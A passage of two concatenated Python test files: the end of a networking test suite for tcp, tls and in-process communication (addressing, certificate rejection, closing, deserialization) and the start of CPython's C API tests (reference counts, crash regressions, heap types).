yield check_client_server("[::]", tcp_eq("::"), tcp_eq(EXTERNAL_IP6))
yield check_client_server(
"[::]:3212", tcp_eq("::", 3212), tcp_eq(EXTERNAL_IP6, 3212)
)
@gen_test()
def test_tcp_client_server_ipv4():
yield check_client_server("tcp://127.0.0.1", tcp_eq("127.0.0.1"))
yield check_client_server("tcp://127.0.0.1:3221", tcp_eq("127.0.0.1", 3221))
yield check_client_server("tcp://0.0.0.0", tcp_eq("0.0.0.0"), tcp_eq(EXTERNAL_IP4))
yield check_client_server(
"tcp://0.0.0.0:3222", tcp_eq("0.0.0.0", 3222), tcp_eq(EXTERNAL_IP4, 3222)
)
yield check_client_server("tcp://", tcp_eq("0.0.0.0"), tcp_eq(EXTERNAL_IP4))
yield check_client_server(
"tcp://:3223", tcp_eq("0.0.0.0", 3223), tcp_eq(EXTERNAL_IP4, 3223)
)
@requires_ipv6
@gen_test()
def test_tcp_client_server_ipv6():
yield check_client_server("tcp://[::1]", tcp_eq("::1"))
yield check_client_server("tcp://[::1]:3231", tcp_eq("::1", 3231))
yield check_client_server("tcp://[::]", tcp_eq("::"), tcp_eq(EXTERNAL_IP6))
yield check_client_server(
"tcp://[::]:3232", tcp_eq("::", 3232), tcp_eq(EXTERNAL_IP6, 3232)
)
@gen_test()
def test_tls_client_server_ipv4():
yield check_client_server("tls://127.0.0.1", tls_eq("127.0.0.1"), **tls_kwargs)
yield check_client_server(
"tls://127.0.0.1:3221", tls_eq("127.0.0.1", 3221), **tls_kwargs
)
yield check_client_server(
"tls://", tls_eq("0.0.0.0"), tls_eq(EXTERNAL_IP4), **tls_kwargs
)
@requires_ipv6
@gen_test()
def test_tls_client_server_ipv6():
yield check_client_server("tls://[::1]", tls_eq("::1"), **tls_kwargs)
@gen_test()
def test_inproc_client_server():
yield check_client_server("inproc://", inproc_check())
yield check_client_server(inproc.new_address(), inproc_check())
#
# TLS certificate handling
#
@gen_test()
def test_tls_reject_certificate():
cli_ctx = get_client_ssl_context()
serv_ctx = get_server_ssl_context()
# These certs are not signed by our test CA
bad_cert_key = ("tls-self-signed-cert.pem", "tls-self-signed-key.pem")
bad_cli_ctx = get_client_ssl_context(*bad_cert_key)
bad_serv_ctx = get_server_ssl_context(*bad_cert_key)
@gen.coroutine
def handle_comm(comm):
scheme, loc = parse_address(comm.peer_address)
assert scheme == "tls"
yield comm.close()
# Listener refuses a connector not signed by the CA
listener = listen("tls://", handle_comm, connection_args={"ssl_context": serv_ctx})
listener.start()
with pytest.raises(EnvironmentError) as excinfo:
comm = yield connect(
listener.contact_address,
timeout=0.5,
connection_args={"ssl_context": bad_cli_ctx},
)
yield comm.write({"x": "foo"}) # TODO: why is this necessary in Tornado 6 ?
# The wrong error is reported on Python 2, see https://github.com/tornadoweb/tornado/pull/2028
if sys.version_info >= (3,) and os.name != "nt":
try:
# See https://serverfault.com/questions/793260/what-does-tlsv1-alert-unknown-ca-mean
assert "unknown ca" in str(excinfo.value)
except AssertionError:
if os.name == "nt":
assert "An existing connection was forcibly closed" in str(
excinfo.value
)
else:
raise
# Sanity check
comm = yield connect(
listener.contact_address, timeout=0.5, connection_args={"ssl_context": cli_ctx}
)
yield comm.close()
# Connector refuses a listener not signed by the CA
listener = listen(
"tls://", handle_comm, connection_args={"ssl_context": bad_serv_ctx}
)
listener.start()
with pytest.raises(EnvironmentError) as excinfo:
yield connect(
listener.contact_address,
timeout=0.5,
connection_args={"ssl_context": cli_ctx},
)
# The wrong error is reported on Python 2, see https://github.com/tornadoweb/tornado/pull/2028
if sys.version_info >= (3,):
assert "certificate verify failed" in str(excinfo.value)
#
# Test communication closing
#
@gen.coroutine
def check_comm_closed_implicit(addr, delay=None, listen_args=None, connect_args=None):
@gen.coroutine
def handle_comm(comm):
yield comm.close()
listener = listen(addr, handle_comm, connection_args=listen_args)
listener.start()
contact_addr = listener.contact_address
comm = yield connect(contact_addr, connection_args=connect_args)
with pytest.raises(CommClosedError):
yield comm.write({})
comm = yield connect(contact_addr, connection_args=connect_args)
with pytest.raises(CommClosedError):
yield comm.read()
@gen_test()
def test_tcp_comm_closed_implicit():
yield check_comm_closed_implicit("tcp://127.0.0.1")
@gen_test()
def test_tls_comm_closed_implicit():
yield check_comm_closed_implicit("tls://127.0.0.1", **tls_kwargs)
@gen_test()
def test_inproc_comm_closed_implicit():
yield check_comm_closed_implicit(inproc.new_address())
@gen.coroutine
def check_comm_closed_explicit(addr, listen_args=None, connect_args=None):
a, b = yield get_comm_pair(addr, listen_args=listen_args, connect_args=connect_args)
a_read = a.read()
b_read = b.read()
yield a.close()
# In-flight reads should abort with CommClosedError
with pytest.raises(CommClosedError):
yield a_read
with pytest.raises(CommClosedError):
yield b_read
# New reads as well
with pytest.raises(CommClosedError):
yield a.read()
with pytest.raises(CommClosedError):
yield b.read()
# And writes
with pytest.raises(CommClosedError):
yield a.write({})
with pytest.raises(CommClosedError):
yield b.write({})
yield b.close()
@gen_test()
def test_tcp_comm_closed_explicit():
yield check_comm_closed_explicit("tcp://127.0.0.1")
@gen_test()
def test_tls_comm_closed_explicit():
yield check_comm_closed_explicit("tls://127.0.0.1", **tls_kwargs)
@gen_test()
def test_inproc_comm_closed_explicit():
yield check_comm_closed_explicit(inproc.new_address())
@gen_test()
def test_inproc_comm_closed_explicit_2():
listener_errors = []
@gen.coroutine
def handle_comm(comm):
# Wait
try:
yield comm.read()
except CommClosedError:
assert comm.closed()
listener_errors.append(True)
else:
comm.close()
listener = listen("inproc://", handle_comm)
listener.start()
contact_addr = listener.contact_address
comm = yield connect(contact_addr)
comm.close()
assert comm.closed()
start = time()
while len(listener_errors) < 1:
assert time() < start + 1
yield gen.sleep(0.01)
assert len(listener_errors) == 1
with pytest.raises(CommClosedError):
yield comm.read()
with pytest.raises(CommClosedError):
yield comm.write("foo")
comm = yield connect(contact_addr)
comm.write("foo")
with pytest.raises(CommClosedError):
yield comm.read()
with pytest.raises(CommClosedError):
yield comm.write("foo")
assert comm.closed()
comm = yield connect(contact_addr)
comm.write("foo")
start = time()
while not comm.closed():
yield gen.sleep(0.01)
assert time() < start + 2
comm.close()
comm.close()
#
# Various stress tests
#
@gen.coroutine
def check_connect_timeout(addr):
t1 = time()
with pytest.raises(IOError):
yield connect(addr, timeout=0.15)
dt = time() - t1
assert 1 >= dt >= 0.1
@gen_test()
def test_tcp_connect_timeout():
yield check_connect_timeout("tcp://127.0.0.1:44444")
@gen_test()
def test_inproc_connect_timeout():
yield check_connect_timeout(inproc.new_address())
def check_many_listeners(addr):
@gen.coroutine
def handle_comm(comm):
pass
listeners = []
N = 100
for i in range(N):
listener = listen(addr, handle_comm)
listener.start()
listeners.append(listener)
assert len(set(l.listen_address for l in listeners)) == N
assert len(set(l.contact_address for l in listeners)) == N
for listener in listeners:
listener.stop()
@gen_test()
def test_tcp_many_listeners():
check_many_listeners("tcp://127.0.0.1")
check_many_listeners("tcp://0.0.0.0")
check_many_listeners("tcp://")
@gen_test()
def test_inproc_many_listeners():
check_many_listeners("inproc://")
#
# Test deserialization
#
@gen.coroutine
def check_listener_deserialize(addr, deserialize, in_value, check_out):
q = queues.Queue()
@gen.coroutine
def handle_comm(comm):
msg = yield comm.read()
q.put_nowait(msg)
yield comm.close()
with listen(addr, handle_comm, deserialize=deserialize) as listener:
comm = yield connect(listener.contact_address)
yield comm.write(in_value)
out_value = yield q.get()
check_out(out_value)
yield comm.close()
@gen.coroutine
def check_connector_deserialize(addr, deserialize, in_value, check_out):
done = locks.Event()
@gen.coroutine
def handle_comm(comm):
yield comm.write(in_value)
yield done.wait()
yield comm.close()
with listen(addr, handle_comm) as listener:
comm = yield connect(listener.contact_address, deserialize=deserialize)
out_value = yield comm.read()
done.set()
yield comm.close()
check_out(out_value)
@gen.coroutine
def check_deserialize(addr):
"""
Check the "deserialize" flag on connect() and listen().
"""
# Test with Serialize and Serialized objects
msg = {
"op": "update",
"x": b"abc",
"to_ser": [to_serialize(123)],
"ser": Serialized(*serialize(456)),
}
msg_orig = msg.copy()
def check_out_false(out_value):
# Check output with deserialize=False
out_value = out_value.copy() # in case transport passed the object as-is
to_ser = out_value.pop("to_ser")
ser = out_value.pop("ser")
expected_msg = msg_orig.copy()
del expected_msg["ser"]
del expected_msg["to_ser"]
assert out_value == expected_msg
assert isinstance(ser, Serialized)
assert deserialize(ser.header, ser.frames) == 456
assert isinstance(to_ser, list)
to_ser, = to_ser
# The to_serialize() value could have been actually serialized
# or not (it's a transport-specific optimization)
if isinstance(to_ser, Serialized):
assert deserialize(to_ser.header, to_ser.frames) == 123
else:
assert to_ser == to_serialize(123)
def check_out_true(out_value):
# Check output with deserialize=True
expected_msg = msg.copy()
expected_msg["ser"] = 456
expected_msg["to_ser"] = [123]
assert out_value == expected_msg
yield check_listener_deserialize(addr, False, msg, check_out_false)
yield check_connector_deserialize(addr, False, msg, check_out_false)
yield check_listener_deserialize(addr, True, msg, check_out_true)
yield check_connector_deserialize(addr, True, msg, check_out_true)
# Test with long bytestrings, large enough to be transferred
# as a separate payload
_uncompressible = os.urandom(1024 ** 2) * 4 # end size: 8 MB
msg = {
"op": "update",
"x": _uncompressible,
"to_ser": [to_serialize(_uncompressible)],
"ser": Serialized(*serialize(_uncompressible)),
}
msg_orig = msg.copy()
def check_out(deserialize_flag, out_value):
# Check output with deserialize=False
assert sorted(out_value) == sorted(msg_orig)
out_value = out_value.copy() # in case transport passed the object as-is
to_ser = out_value.pop("to_ser")
ser = out_value.pop("ser")
expected_msg = msg_orig.copy()
del expected_msg["ser"]
del expected_msg["to_ser"]
assert out_value == expected_msg
if deserialize_flag:
assert isinstance(ser, (bytes, bytearray))
assert bytes(ser) == _uncompressible
else:
assert isinstance(ser, Serialized)
assert deserialize(ser.header, ser.frames) == _uncompressible
assert isinstance(to_ser, list)
to_ser, = to_ser
# The to_serialize() value could have been actually serialized
# or not (it's a transport-specific optimization)
if isinstance(to_ser, Serialized):
assert deserialize(to_ser.header, to_ser.frames) == _uncompressible
else:
assert to_ser == to_serialize(_uncompressible)
yield check_listener_deserialize(addr, False, msg, partial(check_out, False))
yield check_connector_deserialize(addr, False, msg, partial(check_out, False))
yield check_listener_deserialize(addr, True, msg, partial(check_out, True))
yield check_connector_deserialize(addr, True, msg, partial(check_out, True))
@pytest.mark.xfail(reason="intermittent failure on windows")
@gen_test()
def test_tcp_deserialize():
yield check_deserialize("tcp://")
@gen_test()
def test_inproc_deserialize():
yield check_deserialize("inproc://")
@gen.coroutine
def check_deserialize_roundtrip(addr):
"""
Sanity check round-tripping with "deserialize" on and off.
"""
# Test with long bytestrings, large enough to be transferred
# as a separate payload
_uncompressible = os.urandom(1024 ** 2) * 4 # end size: 4 MB
msg = {
"op": "update",
"x": _uncompressible,
"to_ser": [to_serialize(_uncompressible)],
"ser": Serialized(*serialize(_uncompressible)),
}
for should_deserialize in (True, False):
a, b = yield get_comm_pair(addr, deserialize=should_deserialize)
yield a.write(msg)
got = yield b.read()
yield b.write(got)
got = yield a.read()
assert sorted(got) == sorted(msg)
for k in ("op", "x"):
assert got[k] == msg[k]
if should_deserialize:
assert isinstance(got["to_ser"][0], (bytes, bytearray))
assert isinstance(got["ser"], (bytes, bytearray))
else:
assert isinstance(got["to_ser"][0], (to_serialize, Serialized))
assert isinstance(got["ser"], Serialized)
@gen_test()
def test_inproc_deserialize_roundtrip():
yield check_deserialize_roundtrip("inproc://")
@gen_test()
def test_tcp_deserialize_roundtrip():
yield check_deserialize_roundtrip("tcp://")
def _raise_eoferror():
raise EOFError
class _EOFRaising(object):
def __reduce__(self):
return _raise_eoferror, ()
@gen.coroutine
def check_deserialize_eoferror(addr):
"""
EOFError when deserializing should close the comm.
"""
@gen.coroutine
def handle_comm(comm):
yield comm.write({"data": to_serialize(_EOFRaising())})
with pytest.raises(CommClosedError):
yield comm.read()
with listen(addr, handle_comm) as listener:
comm = yield connect(listener.contact_address, deserialize=deserialize)
with pytest.raises(CommClosedError):
yield comm.read()
@gen_test()
def test_tcp_deserialize_eoferror():
yield check_deserialize_eoferror("tcp://")
#
# Test various properties
#
@gen.coroutine
def check_repr(a, b):
assert "closed" not in repr(a)
assert "closed" not in repr(b)
yield a.close()
assert "closed" in repr(a)
yield b.close()
assert "closed" in repr(b)
@gen_test()
def test_tcp_repr():
a, b = yield get_tcp_comm_pair()
assert a.local_address in repr(b)
assert b.local_address in repr(a)
yield check_repr(a, b)
@gen_test()
def test_tls_repr():
a, b = yield get_tls_comm_pair()
assert a.local_address in repr(b)
assert b.local_address in repr(a)
yield check_repr(a, b)
@gen_test()
def test_inproc_repr():
a, b = yield get_inproc_comm_pair()
assert a.local_address in repr(b)
assert b.local_address in repr(a)
yield check_repr(a, b)
@gen.coroutine
def check_addresses(a, b):
assert a.peer_address == b.local_address
assert a.local_address == b.peer_address
a.abort()
b.abort()
@gen_test()
def test_tcp_adresses():
a, b = yield get_tcp_comm_pair()
yield check_addresses(a, b)
@gen_test()
def test_tls_adresses():
a, b = yield get_tls_comm_pair()
yield check_addresses(a, b)
@gen_test()
def test_inproc_adresses():
a, b = yield get_inproc_comm_pair()
yield check_addresses(a, b)
|
test_capi.py
|
# Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
from collections import OrderedDict
import _thread
import importlib.machinery
import importlib.util
import os
import pickle
import random
import re
import subprocess
import sys
import textwrap
import threading
import time
import unittest
import weakref
from test import support
from test.support import MISSING_C_DOCSTRINGS
from test.support import import_helper
from test.support import threading_helper
from test.support import warnings_helper
from test.support.script_helper import assert_python_failure, assert_python_ok
try:
import _posixsubprocess
except ImportError:
_posixsubprocess = None
try:
import _testmultiphase
except ImportError:
_testmultiphase = None
# Skip this test if the _testcapi module isn't available.
_testcapi = import_helper.import_module('_testcapi')
import _testinternalcapi
# Were we compiled --with-pydebug or with #define Py_DEBUG?
Py_DEBUG = hasattr(sys, 'gettotalrefcount')
def decode_stderr(err):
return err.decode('utf-8', 'replace').replace('\r', '')
def testfunction(self):
"""some doc"""
return self
class InstanceMethod:
id = _testcapi.instancemethod(id)
testfunction = _testcapi.instancemethod(testfunction)
class CAPITest(unittest.TestCase):
def test_instancemethod(self):
inst = InstanceMethod()
self.assertEqual(id(inst), inst.id())
self.assertTrue(inst.testfunction() is inst)
self.assertEqual(inst.testfunction.__doc__, testfunction.__doc__)
self.assertEqual(InstanceMethod.testfunction.__doc__, testfunction.__doc__)
InstanceMethod.testfunction.attribute = "test"
self.assertEqual(testfunction.attribute, "test")
self.assertRaises(AttributeError, setattr, inst.testfunction, "attribute", "test")
def test_no_FatalError_infinite_loop(self):
with support.SuppressCrashReport():
p = subprocess.Popen([sys.executable, "-c",
'import _testcapi;'
'_testcapi.crash_no_current_thread()'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
(out, err) = p.communicate()
self.assertEqual(out, b'')
# This used to cause an infinite loop.
self.assertTrue(err.rstrip().startswith(
b'Fatal Python error: '
b'PyThreadState_Get: '
b'the function must be called with the GIL held, '
b'but the GIL is released '
b'(the current Python thread state is NULL)'),
err)
def test_memoryview_from_NULL_pointer(self):
self.assertRaises(ValueError, _testcapi.make_memoryview_from_NULL_pointer)
def test_exc_info(self):
raised_exception = ValueError("5")
new_exc = TypeError("TEST")
try:
raise raised_exception
except ValueError as e:
tb = e.__traceback__
orig_sys_exc_info = sys.exc_info()
orig_exc_info = _testcapi.set_exc_info(new_exc.__class__, new_exc, None)
new_sys_exc_info = sys.exc_info()
new_exc_info = _testcapi.set_exc_info(*orig_exc_info)
reset_sys_exc_info = sys.exc_info()
self.assertEqual(orig_exc_info[1], e)
self.assertSequenceEqual(orig_exc_info, (raised_exception.__class__, raised_exception, tb))
self.assertSequenceEqual(orig_sys_exc_info, orig_exc_info)
self.assertSequenceEqual(reset_sys_exc_info, orig_exc_info)
self.assertSequenceEqual(new_exc_info, (new_exc.__class__, new_exc, None))
self.assertSequenceEqual(new_sys_exc_info, new_exc_info)
else:
self.assertTrue(False)
@unittest.skipUnless(_posixsubprocess, '_posixsubprocess required for this test.')
def test_seq_bytes_to_charp_array(self):
# Issue #15732: crash in _PySequence_BytesToCharpArray()
class Z(object):
def __len__(self):
return 1
self.assertRaises(TypeError, _posixsubprocess.fork_exec,
1,Z(),3,(1, 2),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)
# Issue #15736: overflow in _PySequence_BytesToCharpArray()
class Z(object):
def __len__(self):
return sys.maxsize
def __getitem__(self, i):
return b'x'
self.assertRaises(MemoryError, _posixsubprocess.fork_exec,
1,Z(),3,(1, 2),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)
@unittest.skipUnless(_posixsubprocess, '_posixsubprocess required for this test.')
def test_subprocess_fork_exec(self):
class Z(object):
def __len__(self):
return 1
# Issue #15738: crash in subprocess_fork_exec()
self.assertRaises(TypeError, _posixsubprocess.fork_exec,
Z(),[b'1'],3,(1, 2),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)
@unittest.skipIf(MISSING_C_DOCSTRINGS,
"Signature information for builtins requires docstrings")
def test_docstring_signature_parsing(self):
self.assertEqual(_testcapi.no_docstring.__doc__, None)
self.assertEqual(_testcapi.no_docstring.__text_signature__, None)
self.assertEqual(_testcapi.docstring_empty.__doc__, None)
self.assertEqual(_testcapi.docstring_empty.__text_signature__, None)
self.assertEqual(_testcapi.docstring_no_signature.__doc__,
"This docstring has no signature.")
self.assertEqual(_testcapi.docstring_no_signature.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_invalid_signature.__doc__,
"docstring_with_invalid_signature($module, /, boo)\n"
"\n"
"This docstring has an invalid signature."
)
self.assertEqual(_testcapi.docstring_with_invalid_signature.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_invalid_signature2.__doc__,
"docstring_with_invalid_signature2($module, /, boo)\n"
"\n"
"--\n"
"\n"
"This docstring also has an invalid signature."
)
self.assertEqual(_testcapi.docstring_with_invalid_signature2.__text_signature__, None)
self.assertEqual(_testcapi.docstring_with_signature.__doc__,
"This docstring has a valid signature.")
self.assertEqual(_testcapi.docstring_with_signature.__text_signature__, "($module, /, sig)")
self.assertEqual(_testcapi.docstring_with_signature_but_no_doc.__doc__, None)
self.assertEqual(_testcapi.docstring_with_signature_but_no_doc.__text_signature__,
"($module, /, sig)")
self.assertEqual(_testcapi.docstring_with_signature_and_extra_newlines.__doc__,
"\nThis docstring has a valid signature and some extra newlines.")
self.assertEqual(_testcapi.docstring_with_signature_and_extra_newlines.__text_signature__,
"($module, /, parameter)")
def test_c_type_with_matrix_multiplication(self):
M = _testcapi.matmulType
m1 = M()
m2 = M()
self.assertEqual(m1 @ m2, ("matmul", m1, m2))
self.assertEqual(m1 @ 42, ("matmul", m1, 42))
self.assertEqual(42 @ m1, ("matmul", 42, m1))
o = m1
o @= m2
self.assertEqual(o, ("imatmul", m1, m2))
o = m1
o @= 42
self.assertEqual(o, ("imatmul", m1, 42))
o = 42
o @= m1
self.assertEqual(o, ("matmul", 42, m1))
def test_c_type_with_ipow(self):
# When the __ipow__ method of a type was implemented in C, using the
# modulo param would cause segfaults.
o = _testcapi.ipowType()
self.assertEqual(o.__ipow__(1), (1, None))
self.assertEqual(o.__ipow__(2, 2), (2, 2))
def test_return_null_without_error(self):
# Issue #23571: A function must not return NULL without setting an
# error
if Py_DEBUG:
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.return_null_without_error()
""")
rc, out, err = assert_python_failure('-c', code)
err = decode_stderr(err)
self.assertRegex(err,
r'Fatal Python error: _Py_CheckFunctionResult: '
r'a function returned NULL without setting an exception\n'
r'Python runtime state: initialized\n'
r'SystemError: <built-in function return_null_without_error> '
r'returned NULL without setting an exception\n'
r'\n'
r'Current thread.*:\n'
r' File .*", line 6 in <module>\n')
else:
with self.assertRaises(SystemError) as cm:
_testcapi.return_null_without_error()
self.assertRegex(str(cm.exception),
'return_null_without_error.* '
'returned NULL without setting an exception')
def test_return_result_with_error(self):
# Issue #23571: A function must not return a result with an error set
if Py_DEBUG:
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.return_result_with_error()
""")
rc, out, err = assert_python_failure('-c', code)
err = decode_stderr(err)
self.assertRegex(err,
r'Fatal Python error: _Py_CheckFunctionResult: '
r'a function returned a result with an exception set\n'
r'Python runtime state: initialized\n'
r'ValueError\n'
r'\n'
r'The above exception was the direct cause '
r'of the following exception:\n'
r'\n'
r'SystemError: <built-in '
r'function return_result_with_error> '
r'returned a result with an exception set\n'
r'\n'
r'Current thread.*:\n'
r' File .*, line 6 in <module>\n')
else:
with self.assertRaises(SystemError) as cm:
_testcapi.return_result_with_error()
self.assertRegex(str(cm.exception),
'return_result_with_error.* '
'returned a result with an exception set')
def test_getitem_with_error(self):
# Test _Py_CheckSlotResult(). Raise an exception and then calls
# PyObject_GetItem(): check that the assertion catches the bug.
# PyObject_GetItem() must not be called with an exception set.
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.getitem_with_error({1: 2}, 1)
""")
rc, out, err = assert_python_failure('-c', code)
err = decode_stderr(err)
if 'SystemError: ' not in err:
self.assertRegex(err,
r'Fatal Python error: _Py_CheckSlotResult: '
r'Slot __getitem__ of type dict succeeded '
r'with an exception set\n'
r'Python runtime state: initialized\n'
r'ValueError: bug\n'
r'\n'
r'Current thread .* \(most recent call first\):\n'
r' File .*, line 6 in <module>\n'
r'\n'
r'Extension modules: _testcapi \(total: 1\)\n')
else:
# Python built with NDEBUG macro defined:
# test _Py_CheckFunctionResult() instead.
self.assertIn('returned a result with an exception set', err)
def test_buildvalue_N(self):
_testcapi.test_buildvalue_N()
def test_set_nomemory(self):
code = """if 1:
import _testcapi
class C(): pass
# The first loop tests both functions and that remove_mem_hooks()
# can be called twice in a row. The second loop checks a call to
# set_nomemory() after a call to remove_mem_hooks(). The third
# loop checks the start and stop arguments of set_nomemory().
for outer_cnt in range(1, 4):
start = 10 * outer_cnt
for j in range(100):
if j == 0:
if outer_cnt != 3:
_testcapi.set_nomemory(start)
else:
_testcapi.set_nomemory(start, start + 1)
try:
C()
except MemoryError as e:
if outer_cnt != 3:
_testcapi.remove_mem_hooks()
print('MemoryError', outer_cnt, j)
_testcapi.remove_mem_hooks()
break
"""
rc, out, err = assert_python_ok('-c', code)
lines = out.splitlines()
for i, line in enumerate(lines, 1):
self.assertIn(b'MemoryError', out)
*_, count = line.split(b' ')
count = int(count)
self.assertLessEqual(count, i*5)
self.assertGreaterEqual(count, i*5-1)
def test_mapping_keys_values_items(self):
class Mapping1(dict):
def keys(self):
return list(super().keys())
def values(self):
return list(super().values())
def items(self):
return list(super().items())
class Mapping2(dict):
def keys(self):
return tuple(super().keys())
def values(self):
return tuple(super().values())
def items(self):
return tuple(super().items())
dict_obj = {'foo': 1, 'bar': 2, 'spam': 3}
for mapping in [{}, OrderedDict(), Mapping1(), Mapping2(),
dict_obj, OrderedDict(dict_obj),
Mapping1(dict_obj), Mapping2(dict_obj)]:
self.assertListEqual(_testcapi.get_mapping_keys(mapping),
list(mapping.keys()))
self.assertListEqual(_testcapi.get_mapping_values(mapping),
list(mapping.values()))
self.assertListEqual(_testcapi.get_mapping_items(mapping),
list(mapping.items()))
def test_mapping_keys_values_items_bad_arg(self):
self.assertRaises(AttributeError, _testcapi.get_mapping_keys, None)
self.assertRaises(AttributeError, _testcapi.get_mapping_values, None)
self.assertRaises(AttributeError, _testcapi.get_mapping_items, None)
class BadMapping:
def keys(self):
return None
def values(self):
return None
def items(self):
return None
bad_mapping = BadMapping()
self.assertRaises(TypeError, _testcapi.get_mapping_keys, bad_mapping)
self.assertRaises(TypeError, _testcapi.get_mapping_values, bad_mapping)
self.assertRaises(TypeError, _testcapi.get_mapping_items, bad_mapping)
@unittest.skipUnless(hasattr(_testcapi, 'negative_refcount'),
'need _testcapi.negative_refcount')
def test_negative_refcount(self):
# bpo-35059: Check that Py_DECREF() reports the correct filename
# when calling _Py_NegativeRefcount() to abort Python.
code = textwrap.dedent("""
import _testcapi
from test import support
with support.SuppressCrashReport():
_testcapi.negative_refcount()
""")
rc, out, err = assert_python_failure('-c', code)
self.assertRegex(err,
br'_testcapimodule\.c:[0-9]+: '
br'_Py_NegativeRefcount: Assertion failed: '
br'object has negative ref count')
def test_trashcan_subclass(self):
# bpo-35983: Check that the trashcan mechanism for "list" is NOT
# activated when its tp_dealloc is being called by a subclass
from _testcapi import MyList
L = None
for i in range(1000):
L = MyList((L,))
@support.requires_resource('cpu')
def test_trashcan_python_class1(self):
self.do_test_trashcan_python_class(list)
@support.requires_resource('cpu')
def test_trashcan_python_class2(self):
from _testcapi import MyList
self.do_test_trashcan_python_class(MyList)
def do_test_trashcan_python_class(self, base):
# Check that the trashcan mechanism works properly for a Python
# subclass of a class using the trashcan (this specific test assumes
# that the base class "base" behaves like list)
class PyList(base):
# Count the number of PyList instances to verify that there is
# no memory leak
num = 0
def __init__(self, *args):
__class__.num += 1
super().__init__(*args)
def __del__(self):
__class__.num -= 1
for parity in (0, 1):
L = None
# We need in the order of 2**20 iterations here such that a
# typical 8MB stack would overflow without the trashcan.
for i in range(2**20):
L = PyList((L,))
L.attr = i
if parity:
# Add one additional nesting layer
L = (L,)
self.assertGreater(PyList.num, 0)
del L
self.assertEqual(PyList.num, 0)
def test_heap_ctype_doc_and_text_signature(self):
self.assertEqual(_testcapi.HeapDocCType.__doc__, "somedoc")
self.assertEqual(_testcapi.HeapDocCType.__text_signature__, "(arg1, arg2)")
def test_null_type_doc(self):
self.assertEqual(_testcapi.NullTpDocType.__doc__, None)
def test_subclass_of_heap_gc_ctype_with_tpdealloc_decrefs_once(self):
class HeapGcCTypeSubclass(_testcapi.HeapGcCType):
def __init__(self):
self.value2 = 20
super().__init__()
subclass_instance = HeapGcCTypeSubclass()
type_refcnt = sys.getrefcount(HeapGcCTypeSubclass)
# Test that subclass instance was fully created
self.assertEqual(subclass_instance.value, 10)
self.assertEqual(subclass_instance.value2, 20)
# Test that the type reference count is only decremented once
del subclass_instance
self.assertEqual(type_refcnt - 1, sys.getrefcount(HeapGcCTypeSubclass))
def test_subclass_of_heap_gc_ctype_with_del_modifying_dunder_class_only_decrefs_once(self):
class A(_testcapi.HeapGcCType):
def __init__(self):
self.value2 = 20
super().__init__()
class B(A):
def __init__(self):
super().__init__()
def __del__(self):
self.__class__ = A
A.refcnt_in_del = sys.getrefcount(A)
B.refcnt_in_del = sys.getrefcount(B)
subclass_instance = B()
type_refcnt = sys.getrefcount(B)
new_type_refcnt = sys.getrefcount(A)
# Test that subclass instance was fully created
self.assertEqual(subclass_instance.value, 10)
self.assertEqual(subclass_instance.value2, 20)
del subclass_instance
# Test that setting __class__ modified the reference counts of the types
self.assertEqual(type_refcnt - 1, B.refcnt_in_del)
self.assertEqual(new_type_refcnt + 1, A.refcnt_in_del)
# Test that the original type already has decreased its refcnt
self.assertEqual(type_refcnt - 1, sys.getrefcount(B))
# Test that subtype_dealloc decref the newly assigned __class__ only once
self.assertEqual(new_type_refcnt, sys.getrefcount(A))
def test_heaptype_with_dict(self):
inst = _testcapi.HeapCTypeWithDict()
inst.foo = 42
self.assertEqual(inst.foo, 42)
self.assertEqual(inst.dictobj, inst.__dict__)
self.assertEqual(inst.dictobj, {"foo": 42})
inst = _testcapi.HeapCTypeWithDict()
self.assertEqual({}, inst.__dict__)
def test_heaptype_with_negative_dict(self):
inst = _testcapi.HeapCTypeWithNegativeDict()
inst.foo = 42
self.assertEqual(inst.foo, 42)
self.assertEqual(inst.dictobj, inst.__dict__)
self.assertEqual(inst.dictobj, {"foo": 42})
inst = _testcapi.HeapCTypeWithNegativeDict()
self.assertEqual({}, inst.__dict__)
def test_heaptype_with_weakref(self):
inst = _testcapi.HeapCTypeWithWeakref()
ref = weakref.ref(inst)
self.assertEqual(ref(), inst)
self.assertEqual(inst.weakreflist, ref)
def test_heaptype_with_buffer(self):
inst = _testcapi.HeapCTypeWithBuffer()
b = bytes(inst)
self.assertEqual(b, b"1234")
def test_c_subclass_of_heap_ctype_with_tpdealloc_decrefs_once(self):
subclass_instance = _testcapi.HeapCTypeSubclass()
type_refcnt = sys.getrefcount(_testcapi.HeapCTypeSubclass)
# Test that subclass instance was fully created
self.assertEqual(subclass_instance.value, 10)
self.assertEqual(subclass_instance.value2, 20)
# Test that the type reference count is only decremented once
del subclass_instance
self.assertEqual(type_refcnt - 1, sys.getrefcount(_testcapi.HeapCTypeSubclass))
def test_c_subclass_of_heap_ctype_with_del_modifying_dunder_class_only_decrefs_once(self):
subclass_instance = _testcapi.HeapCTypeSubclassWithFinalizer()
type_refcnt = sys.getrefcount(_testcapi.HeapCTypeSubclassWithFinalizer)
new_type_refcnt = sys.getrefcount(_testcapi.HeapCTypeSubclass)
# Test that subclass instance was fully created
self.assertEqual(subclass_instance.value, 10)
self.assertEqual(subclass_instance.value2, 20)
# The tp_finalize slot will set __class__ to HeapCTypeSubclass
del subclass_instance
# Test that setting __class__ modified the reference counts of the types
self.assertEqual(type_refcnt - 1, _testcapi.HeapCTypeSubclassWithFinalizer.refcnt_in_del)
self.assertEqual(new_type_refcnt + 1, _testcapi.HeapCTypeSubclass.refcnt_in_del)
# Test that the original type already has decreased its refcnt
self.assertEqual(type_refcnt - 1, sys.getrefcount(_testcapi.HeapCTypeSubclassWithFinalizer))
# Test that subtype_dealloc decref the newly assigned __class__ only once
self.assertEqual(new_type_refcnt, sys.getrefcount(_testcapi.HeapCTypeSubclass))
def test_heaptype_with_setattro(self):
obj = _testcapi.HeapCTypeSetattr()
self.assertEqual(obj.pvalue, 10)
obj.value = 12
self.assertEqual(obj.pvalue, 12)
del obj.value
